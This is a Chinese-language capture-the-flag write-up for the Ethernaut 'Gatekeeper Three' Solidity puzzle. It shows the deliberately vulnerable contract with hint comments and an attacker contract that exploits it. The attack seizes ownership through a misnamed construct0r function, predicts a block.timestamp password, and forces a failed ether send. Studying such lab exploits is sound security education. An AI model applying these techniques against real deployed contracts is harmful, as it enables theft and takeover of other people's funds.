Gatekeeper Three
题目
要求:成功调用enter()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract SimpleTrick { GatekeeperThree public target; address public trick; uint private password = block.timestamp;
constructor (address payable _target) { target = GatekeeperThree(_target); } function checkPassword(uint _password) public returns (bool) { if (_password == password) { return true; } password = block.timestamp; return false; } function trickInit() public { trick = address(this); } function trickyTrick() public { if (address(this) == msg.sender && address(this) != trick) { target.getAllowance(password); } } // 没有被调用过,没用的函数 }
contract GatekeeperThree { address public owner; address public entrant; bool public allowEntrance;
SimpleTrick public trick;
function construct0r() public { owner = msg.sender; }
modifier gateOne() { require(msg.sender == owner); // 直接调用construct0r即可 require(tx.origin != owner); // 要用合约攻击 _; }
modifier gateTwo() { require(allowEntrance == true); _; } // 1.创建一个trick:createTrick() // 2.伪随机数,调用getAllowance()
modifier gateThree() { if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) { _; } } // 1.给这个合约转一点钱 // 2.owner是攻击合约,它没有fallback和receive来接收代币
function getAllowance(uint _password) public { if (trick.checkPassword(_password)) { allowEntrance = true; } }
function createTrick() public { trick = new SimpleTrick(payable(address(this))); trick.trickInit(); }
function enter() public gateOne gateTwo gateThree { entrant = tx.origin; }
receive () external payable {} }
|
分析
常规,思路写在了题目的代码中
解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| pragma solidity 0.8.17;
contract attakcer{ GatekeeperThree instance;
// 0xdc3bd7142542B9f35F8A22fC066645eA602fe2A3 function attack(GatekeeperThree _addr) public payable { instance = _addr;
// gate01 instance.construct0r();
// gate02 instance.createTrick(); instance.getAllowance(block.timestamp);
// gate03 // 0.001 ether + 1 wei = 1000000000000001 payable (address(instance)).transfer(1000000000000001);
// complete instance.enter(); } }
|
调用过程
成功
小插曲:当我将攻击逻辑写道constructor的时候,一直失败。原因:构造器是payable,可以接收代币,因为还在创建constructor状态